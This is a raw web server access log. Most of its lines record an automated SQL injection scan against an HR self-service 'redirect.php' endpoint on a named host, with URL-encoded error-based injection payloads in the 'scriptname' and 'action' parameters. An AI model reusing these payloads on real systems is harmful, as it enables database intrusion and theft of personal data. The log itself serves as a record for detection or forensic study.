100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x75547761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54373866%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35637931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31793057%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x47666146%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4e4942%29%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x54336865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f6a41%29%2C6420%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x54336865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f6a41%29%2C6420%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x566b6777%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f6a6353%29%2C5431%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x75547761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54373866%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x47717131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59644866%29%2C5431%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x54336865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f6a41%29%2C6420%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:56 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66727879%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5277414f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x66727879%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5277414f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4d7a7370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76316867%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4d7a7370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76316867%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69655547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69354c33%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69655547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69354c33%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x374d6d53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426b4554%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x374d6d53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426b4554%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x4d7a7370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76316867%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x69655547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69354c33%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x58777643%2C%28NULL%29%2C0x48545448%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x58777643%2C%28NULL%29%2C0x48545448%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x34797473%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59573861%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x34797473%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59573861%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66336d65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58755a39%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66336d65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58755a39%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x374d6d53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x426b4554%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
